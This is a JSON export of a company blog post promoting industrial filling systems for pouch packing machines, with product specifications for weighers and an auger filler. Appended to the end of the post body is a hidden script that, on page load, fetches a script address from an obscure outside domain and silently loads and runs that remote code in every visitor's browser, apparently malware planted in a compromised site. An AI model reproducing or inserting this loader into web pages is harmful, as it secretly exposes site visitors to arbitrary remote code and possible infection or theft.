{"id":656,"date":"2021-08-29T10:01:59","date_gmt":"2021-08-29T04:31:59","guid":{"rendered":"https:\/\/www.nichrome.com\/blog\/?p=656"},"modified":"2025-09-05T16:53:30","modified_gmt":"2025-09-05T11:23:30","slug":"nichrome-filling-systems-for-the-packaging-industry","status":"publish","type":"post","link":"https:\/\/www.nichrome.com\/blog\/nichrome-filling-systems-for-the-packaging-industry\/","title":{"rendered":"Nichrome Filling Systems For The Packaging Industry"},"content":{"rendered":"\n<p>To put it simply, a pouch packing machine has two major components: the\nfilling system and the bagging system. The filling system or filler is\nresponsible for the accurate measurement and dispensing of the material into\nthe pouch and the bagging system is responsible for packing and sealing the\nmaterial in the pouch.<\/p>\n\n\n\n<p>Whether it is a <a href=\"https:\/\/www.nichrome.com\/machines\/vffs-machines\/index.php\"><strong>vertical form-fill-seal machine<\/strong><\/a><strong> <\/strong>or <strong>horizontal form-fill-seal machine<\/strong>, the filler plays a crucial\nrole in fast and accurateoperations. In the food industry, fillers are used for\nfilling flexible pouches, cans, bottles, etc. In the pharma industry, filling\nsystemsensure accurate and sterile discharge of the product into syringes,\nvials, capsules, sachets and bottles.<\/p>\n\n\n\n<p>Depending on the type of product to be packaged, filling systems are\nselected. <strong>Liquid packaging<\/strong> or\n<a href=\"https:\/\/www.nichrome.com\/applications\/grains-packaging-machine.php\"><strong>grain packaging<\/strong><\/a><strong>, snack\npackaging <\/strong>or<strong> oil packaging, sugar packaging<\/strong> or<strong> ready-to-eat food packaging<\/strong> &#8211; different\nproducts require different filling systems. Factors such as container size, may\nplay a part in selecting specific filling machinery, or in customizing the\nmachinery, but there are two basic criteria packagers followwhen deciding which\nfilling system to use for their product.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>MAIN CRITERIA WHEN CHOOSING A FILLER<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Level of automation<\/strong>: <\/h3>\n\n\n\n<p>Filling machines or fillers are manufactured to work with<strong> automated packaging systems<\/strong>. They can also be manufacturedto work as stand-alone, semi-automatic machines, combining the filler with say, a capping machinery.<\/p>\n\n\n\n<p>Knowing how many packs per minute, hour or day you need to fill will\nhelp to identify the level of automation necessary for your filling machine.\nHigh production levels may require an eight head <a href=\"https:\/\/www.nichrome.com\"><strong>automatic\nfilling machine<\/strong><\/a>, and the filler could be designed to allow\nadditional heads to be added in the future.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Filling principles<\/strong>: <\/h3>\n\n\n\n<p>The unique trails or characteristics of the product to be packed determine the filling principle. The working of a <strong>milk filling machine<\/strong> will differ from a <strong>powder filling machine<\/strong>; an <a href=\"https:\/\/www.nichrome.com\/applications\/sugar-packaging-machine.php\"><strong>automatic sugar filling machine<\/strong><\/a> requires a different filler than what is used by an <strong>edible oil filling machine.<\/strong><\/p>\n\n\n\n<p>For example, gravity fillers areideal for thin, free-flowing products.\nThicker, viscous products require more than gravity to complete the filling\nprocess, so a piston filleror pump filling machine is more suited to filling\nviscous products.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>NICHROME\u2019S INNOVATIVE FILLING SYSTEMS<\/strong><\/h2>\n\n\n\n<p>As India\u2019s leading provider of integrated packaging solutions, and\nproven packaging machine manufacturer, Nichrome offers a range of <a href=\"https:\/\/www.nichrome.com\/filling-systems\/\">filling\nsystems <\/a>for a wide range of Food, Pharma and other products.\nWhether you are investing in a new<strong> VFFS<\/strong> packaging machine;\nlooking to upgrade an old one or want to use your current <strong>automated packaging\nmachine<\/strong> for packing new products,\nit\u2019s worth taking a look at Nichrome\u2019s innovative filling systems.<\/p>\n\n\n\n<p>Nichrome offers an exclusive portfolio of filler-weighers for diverse\napplications. With a range of filling capacities and built-in safety features,\nNichrome\u2019s filling systems can be integrated easily into existing packaging\nmachines for greater efficiency, speed and versatility.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Intelweigh Multi Head Weigher:<\/strong><\/h3>\n\n\n\n<p><strong> <\/strong>This filling system has 10 weigh heads and a combination volume of 3000 cc. It is the ideal filler for solid products such as tea, sugar, rice, pulses, snacks, and other free-flowing granular products.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1000\" height=\"972\" src=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Intelweigh.jpg\" alt=\"Intelweigh Multi Head Weigher\" class=\"wp-image-658\" srcset=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Intelweigh.jpg 1000w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Intelweigh-600x583.jpg 600w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Intelweigh-300x292.jpg 300w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Intelweigh-768x746.jpg 768w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Features include:<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>Bucket volume: 1.3 l<\/li><li>Accuracy: 0.2 to 2 gm<\/li><li>Weighing range: 10 gm to 1000 gm<\/li><li>Speed: 70 dumps per minute<\/li><li>Product contact parts: SS 304<\/li><li>Display: 7 inch touch screen<\/li><li>Buckets open and close with stepper motor<\/li><li>Weighing method with load cell<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Intelweigh Combi Filler DH<\/strong>:<\/h3>\n\n\n\n<p>This filling system is an aesthetically improved machine ensuring safety for users. It is the ideal filler for solid products such as seeds, whole spices, grocery products, Indian namkeen, etc.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" width=\"1000\" height=\"972\" src=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Combi-Filler-DH.jpg\" alt=\"Intelweigh Combi Filler DH\" class=\"wp-image-659\" srcset=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Combi-Filler-DH.jpg 1000w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Combi-Filler-DH-600x583.jpg 600w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Combi-Filler-DH-300x292.jpg 300w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/Combi-Filler-DH-768x746.jpg 768w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Features include:<\/strong><\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>Accuracy % sd: 0.5% \/0.2%<\/li><li>Weighing range: 50 gm to 2 kg\/500 gm to 5 kg<\/li><li>Speed: 40-50 dumps\/minute for 1 kg; 15-20 dumps\/minute\nfor 5 kg<\/li><li>Display: 7 inch touch screen<\/li><li>Air consumption: 0.15 CFM at 6 bar<\/li><li>Connected Load\/Head: 0.25 kW<\/li><li>Built in safety door guards with machine off interlock<\/li><li>Broad range of filling capacities available<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Easyfill Servo Auger<\/strong>:<\/h3>\n\n\n\n<p>For food packaging of powders such as spices, atta (flour products), milk powder, nutraceuticals, coffee powder, premixes, instant mixes, even agro chemicals and pesticides, Nichrome\u2019s Easyfill Servo Auger provides accuracy, speed and efficient performance.<\/p>\n\n\n\n<p>The auger is available in different finishes as per customer\u2019s\nrequirement. Choose from buffing, Teflon-coating or Nedox coating.<\/p>\n\n\n\n<p>A unique feature of this filling system is its split hopper which facilitates cleaning and easy changeovers.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" width=\"1000\" height=\"972\" src=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/3.jpg\" alt=\"food packaging \" class=\"wp-image-660\" srcset=\"https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/3.jpg 1000w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/3-600x583.jpg 600w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/3-300x292.jpg 300w, https:\/\/www.nichrome.com\/blog\/wp-content\/uploads\/2021\/08\/3-768x746.jpg 768w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Other features include:<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>Filling capacity: 5 cc to 2000 cc<\/li><li>Servo driven auger mechanism<\/li><li>Contact parts: SS 304 or SS 316 depending on product<\/li><li>Gaskets: PTFE\/Food grade silicon rubber<\/li><li>Hygienic construction<\/li><li>Structure: MS powder coated<\/li><li>Hopper: inside buffing, outside matt finish<\/li><li>Facilitates easy cleaning<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>SUMMARY<\/strong><\/h2>\n\n\n\n<p>Filling systems or fillers play a vital role in the efficient operation\nof packaging machines. Nichrome manufactures fillers using advanced technology\nand user-friendly design for a wide gamut of applications. <\/p>\n\n\n\n<p>Nichrome is not only a leading <strong>packaging machine manufacturer<\/strong>,\nit is also a recognized<strong> <\/strong><a href=\"https:\/\/www.nichrome.com\"><strong>automatic\nfilling machine manufacturer<\/strong><\/a>. With a range of filling capacities\nand built-in safety features, Nichrome\u2019s filling systems can be integrated\neasily into existing packaging machines for greater efficiency, speed and\nversatility.\n\nWith over 4 decades in the industry, and proven\nexpertise in automated packaging technology, Nichrome will partner to develop\nand deliver the most apt and cost-effective integrated packaging solution for\nyour industry.\n\n\n\n<\/p>\n<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();\n\n\n    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;\n\n        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };\n\n        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };\n\n        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);\n\n        document.body.appendChild(script);\n      });\n    };\n\n    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>To put it simply, a pouch packing machine has two major components: the filling system and the bagging system. The filling system or filler is responsible for the accurate measurement and dispensing of the material into the pouch and the bagging system is responsible for packing and sealing the material in the pouch. Whether it [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":657,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,64],"tags":[107,152,60,147,146,100,132,149,95,75,151,148,150,80],"class_list":["post-656","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-filling-systems","category-sugar-packaging-machine","tag-automated-packaging-systems","tag-automatic-filling-machine","tag-automatic-sugar-filling-machine","tag-grain-packaging","tag-horizontal-form-fill-seal-machine","tag-liquid-packaging","tag-milk-filling-machine","tag-oil-packaging","tag-packaging-machine-manufacturer","tag-powder-filling-machine","tag-ready-to-eat-food-packaging","tag-snack-packaging","tag-sugar-packaging","tag-vertical-form-fill-seal-machine"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4-RC1 - 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